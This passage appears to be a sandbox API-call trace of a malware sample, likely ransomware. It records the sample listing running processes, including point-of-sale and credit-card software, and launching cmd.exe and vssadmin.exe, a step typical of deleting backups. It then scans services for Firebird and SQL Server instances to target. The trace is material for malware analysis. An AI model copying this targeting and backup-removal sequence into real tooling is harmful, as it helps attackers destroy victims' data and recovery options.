th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0049.575] lstrlenW (lpString="ccv_server.exe") returned 14 [0049.575] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0049.576] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0049.576] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0049.576] lstrlenW (lpString="creditservice.exe") returned 17 [0049.576] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0049.577] lstrlenW (lpString="edcsvr.exe") returned 10 [0049.577] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0049.577] lstrlenW (lpString="fpos.exe") returned 8 [0049.577] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0049.578] lstrlenW (lpString="isspos.exe") returned 10 [0049.578] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0049.578] lstrlenW (lpString="mxslipstream.exe") returned 16 [0049.578] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0049.579] lstrlenW (lpString="omnipos.exe") returned 11 [0049.579] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0049.579] lstrlenW (lpString="spcwin.exe") returned 10 [0049.579] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0049.580] lstrlenW (lpString="spgagentservice.exe") returned 19 [0049.580] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0049.580] lstrlenW (lpString="utg2.exe") returned 8 [0049.580] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-chronicles.exe")) returned 1 [0049.581] lstrlenW (lpString="pending-chronicles.exe") returned 22 [0049.581] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="um-classroom-barry.exe")) returned 1 [0049.581] lstrlenW (lpString="um-classroom-barry.exe") returned 22 [0049.581] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="notebook.exe")) returned 1 [0049.582] lstrlenW (lpString="notebook.exe") returned 12 [0049.582] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="stable_platform_spend.exe")) returned 1 [0049.582] lstrlenW (lpString="stable_platform_spend.exe") returned 25 [0049.582] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="current.exe")) returned 1 [0049.583] lstrlenW (lpString="current.exe") returned 11 [0049.583] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.583] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.583] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.584] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.584] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.584] lstrlenW (lpString="taskhost.exe") returned 12 [0049.584] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0049.585] lstrlenW (lpString="payload.exe") returned 11 [0049.585] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.585] lstrlenW (lpString="cmd.exe") returned 7 [0049.585] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.585] lstrlenW (lpString="conhost.exe") returned 11 [0049.586] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x714, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.586] lstrlenW (lpString="vssadmin.exe") returned 12 [0049.586] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.586] lstrlenW (lpString="VSSVC.exe") returned 9 [0049.586] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.587] lstrlenW (lpString="svchost.exe") returned 11 [0049.587] Process32NextW (in: hSnapshot=0x1e8, lppe=0x1e7fd34 | out: lppe=0x1e7fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0049.587] CloseHandle (hObject=0x1e8) returned 1 [0049.587] Sleep (dwMilliseconds=0x1f4) [0050.646] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8ffac8 [0050.646] EnumServicesStatusExW (in: hSCManager=0x8ffac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 0 [0050.647] GetLastError () returned 0xea [0050.647] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x12c6) returned 0x974238 [0050.647] EnumServicesStatusExW (in: hSCManager=0x8ffac8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x974238, cbBufSize=0x12c6, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x974238, pcbBytesNeeded=0x1e7ff44, lpServicesReturned=0x1e7ff5c, lpResumeHandle=0x0) returned 1 [0050.647] CloseServiceHandle (hSCObject=0x8ffac8) returned 1 [0050.647] lstrlenW (lpString="Appinfo") returned 7 [0050.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0050.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0050.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0050.648] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0050.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0050.648] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0050.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.648] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0050.648] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0050.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0050.648] lstrlenW (lpString="AudioSrv") returned 8 [0050.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0050.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0050.648] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0050.648] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0050.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0050.648] lstrlenW (lpString="BFE") returned 3 [0050.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0050.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0050.648] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0050.648] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0050.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0050.648] lstrlenW (lpString="CryptSvc") returned 8 [0050.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0050.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0050.648] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0050.648] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0050.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0050.648] lstrlenW (lpString="CscService") returned 10 [0050.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0050.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0050.648] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0050.648] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0050.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0050.648] lstrlenW (lpString="DcomLaunch") returned 10 [0050.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.648] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0050.648] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0050.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0050.648] lstrlenW (lpString="Dhcp") returned 4 [0050.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0050.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0050.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0050.648] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0050.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0050.648] lstrlenW (lpString="Dnscache") returned 8 [0050.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0050.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0050.648] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0050.648] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0050.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0050.648] lstrlenW (lpString="DPS") returned 3 [0050.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0050.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0050.649] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0050.649] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0050.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0050.649] lstrlenW (lpString="eventlog") returned 8 [0050.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0050.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0050.649] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0050.649] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0050.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0050.649] lstrlenW (lpString="EventSystem") returned 11 [0050.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0050.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0050.649] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0050.649] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0050.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0050.649] lstrlenW (lpString="gpsvc") returned 5 [0050.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0050.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0050.649] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0050.649] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0050.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0050.649] lstrlenW (lpString="iphlpsvc") returned 8 [0050.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.649] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0050.649] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0050.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0050.649] lstrlenW (lpString="LanmanServer") returned 12 [0050.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0050.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0050.649] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0050.649] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0050.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0050.649] lstrlenW (lpString="LanmanWorkstation") returned 17 [0050.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.649] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0050.649] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0050.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0050.649] lstrlenW (lpString="lmhosts") returned 7 [0050.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0050.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0050.649] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0050.649] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0050.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0050.649] lstrlenW (lpString="MMCSS") returned 5 [0050.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0050.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0050.649] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0050.649] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0050.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0050.649] lstrlenW (lpString="MpsSvc") returned 6 [0050.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0050.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0050.650] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0050.650] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0050.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0050.650] lstrlenW (lpString="Netman") returned 6 [0050.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0050.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0050.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0050.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0050.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0050.650] lstrlenW (lpString="netprofm") returned 8 [0050.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0050.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0050.650] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0050.650] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0050.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0050.650] lstrlenW (lpString="NlaSvc") returned 6 [0050.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0050.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0050.650] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0050.650] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0050.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0050.650] lstrlenW (lpString="nsi") returned 3 [0050.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0050.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0050.650] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0050.650] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0050.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0050.650] lstrlenW (lpString="PcaSvc") returned 6 [0050.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0050.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0050.650] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0050.650] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0050.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0050.650] lstrlenW (lpString="PlugPlay") returned 8 [0050.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0050.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0050.650] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0050.650] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0050.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0050.650] lstrlenW (lpString="Power") returned 5 [0050.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0050.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0050.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0050.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0050.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0050.650] lstrlenW (lpString="ProfSvc") returned 7 [0050.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0050.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0050.650] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0050.650] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0050.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0050.650] lstrlenW (lpString="RpcEptMapper") returned 12 [0050.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.651] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0050.651] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0050.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0050.651] lstrlenW (lpString="RpcSs") returned 5 [0050.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0050.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0050.651] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0050.651] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0050.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0050.651] lstrlenW (lpString="SamSs") returned 5 [0050.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0050.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0050.651] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0050.651] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0050.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0050.651] lstrlenW (lpString="Schedule") returned 8 [0050.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0050.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0050.651] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0050.651] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0050.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0050.651] lstrlenW (lpString="SENS") returned 4 [0050.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0050.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0050.651] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0050.651] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0050.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0050.651] lstrlenW (lpString="ShellHWDetection") returned 16 [0050.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.651] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0050.651] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0050.651] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0050.651] lstrlenW (lpString="Spooler") returned 7 [0050.651] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0050.651] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0050.651] 